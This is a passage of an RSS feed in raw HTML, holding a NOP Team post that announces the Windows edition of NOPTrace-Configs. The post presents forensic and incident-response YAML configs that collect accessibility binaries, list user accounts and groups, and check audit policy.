href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502961&amp;idx=1&amp;sn=7401dfc783a580ecfd151e0d72a25acb&amp;scene=21#wechat_redirect" textvalue="NOPTrace-Configs Windows版 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">NOPTrace-Configs Windows版 发布！</a></span></p><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><br/></span></p></li></ul></div><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="NOP Team" data-alias="yidalidemao" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/fZT30hrVgRftxytNjJnL5eOVg23jso0f1Xjf2t8ibBgUvibZjvSkOxsQdP2trmzlpmwBIQU9CObUr93c6p1qNHmg/0?wx_fmt=png" data-signature="有态度，不苟同    No System Is Safe！" data-id="MzU1NDkwMzAyMg==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247502967">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=97d59404&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502967%26idx%3D1%26sn%3D64d276c8878b4f1e2fa6f5773b2649ee">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 18 Jul 2025 02:38:00 +0800</pubDate>
    </item>
    <item>
      <title>NOPTrace-Configs Windows版 发布！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502961&amp;idx=1&amp;sn=7401dfc783a580ecfd151e0d72a25acb</link>
      <description>愿心中的火永不熄灭！</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-07-09 15:49</span> <span style="display: inline-block;">北京</span>
</p>

<p>愿心中的火永不熄灭！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5e2d0e3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8Ywfb40EM28bITia0wPb0tROeMNCicqEpOV28Yuicb8XzW9ibK5kxGbiaBqCA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p nodeleaf=""><mp-common-clmusic class="res_iframe clmusic_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="Lemon Tree" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M000001I8kTJ1gnogw_1.jpg" singer="Fool&#39;s Garden" count="0" is_vip="1" duration="190000" music_source="1" listenid="78238780022057953"></mp-common-clmusic></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">简介</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家好，我们是 NOP Team</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这段时间，我们相继推出了 </span><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf="">、</span><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Configurator</span></strong><span leaf="">、</span><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Collector</span></strong><span leaf="">、</span><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Configs</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">简单介绍一下它们的作用</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf=""> 是一套标准化的数字取证与应急响应信息采集规则格式规范。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Configurator</span></strong><span leaf=""> 是 </span><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf=""> 的图形化配置工具，同时可以检查用户配置是否规范</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Collector</span></strong><span leaf="">  是基于 </span><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf="">  的采集器，用户可以使用它进行定制化信息采集</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Configs</span></strong><span leaf="">  是符合 </span><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf=""> 规范的电子取证与应急响应配置集合</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">之前已推出 Linux 版本的配置文件集合，今天给大家带来的是 Windows 版本的配置文件集合</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Configs</span></strong><span leaf="">  项目的目的是当出现应急响应事件时，受害方能够第一时间采集重要信息，即使后续恢复系统或者排查破坏了痕迹，也能够留一份证据，供后续应急响应人员以及相关人员分析回溯</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">项目地址 <a href="https://github.com/Just-Hack-For-Fun/NOPTrace-Configs" target="_blank">https://github.com/Just-Hack-For-Fun/NOPTrace-Configs</a></span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf="">  项目中也会同步该项目的配置文件</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">配置文件说明</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在发布 </span><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Collector</span></strong><span leaf="">  时，我们曾发出提醒，大家一定要了解程序要加载的配置文件，因为采集器是可以执行系统命令的，所以下面展示并简述每一个配置文件的内容，例如  </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Log.yaml</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Activity.yaml</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SensitiveDir.yaml</span></code><span leaf="">  要着重考虑是否加载，因为可能内容较大或依赖外部程序</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Configs</span></strong><span leaf=""> 项目 Windows 版已覆盖绝大多数 《Windows 应急响应手册》 中的常规安全检查部分内容，但 Windows 平台有些操作目前必须通过图形化才能完成，例如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sigverif</span></code><span leaf=""> 这种系统完整性检查操作</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019281" class="rich_pages wxw-img" data-ratio="1.4148148148148147" data-type="jpeg" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=0c7673c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8Yx0561yI5ibREo7WRRjqEqr6ibjBJKmgpGaASZXoibBJU6eX3fibL8jmLhA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019280" class="rich_pages wxw-img" data-ratio="0.9842592592592593" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b3b1c94f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YPp7ZC4cRxtphpibZKQ4qw1pu7j3cPcJlQibf4sEBpV9PZTDz2G4D38QQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><br/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Accessibility.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsAccessibility&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_systemroot%%\System32\sethc.exe&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_systemroot%%\System32\utilman.exe&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_systemroot%%\System32\osk.exe&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_systemroot%%\System32\Magnify.exe&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_systemroot%%\System32\Narrator.exe&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_systemroot%%\System32\DisplaySwitch.exe&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_systemroot%%\System32\AtBroker.exe&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 平台辅助程序信息收集。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台的辅助程序，例如常见的粘滞键。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Accounts.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsAccounts&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 平台上用户以及用户组的相关信息收集。&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;net&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;user&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;net&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;localgroup&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;net&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;localgroup&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Users&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;net&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;localgroup&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Administrators&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WMI&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">base_object:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">query:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SELECT * FROM Win32_UserAccount&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WMI&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">base_object:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">query:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SELECT * FROM Win32_Group&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上账户相关信息。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Activity.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsGroupPolicy</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">|-</span><span leaf=""><br/></span><span leaf="">  Windows 平台上组策略中关于进程创建是否设置了记录。</span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">计算机配置</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">-&gt;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows设置</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">-&gt;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">安全设置</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">-&gt;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">⾼级审核策略配置</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">-&gt;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">详细跟踪</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">-&gt;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">审核进程创建</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span 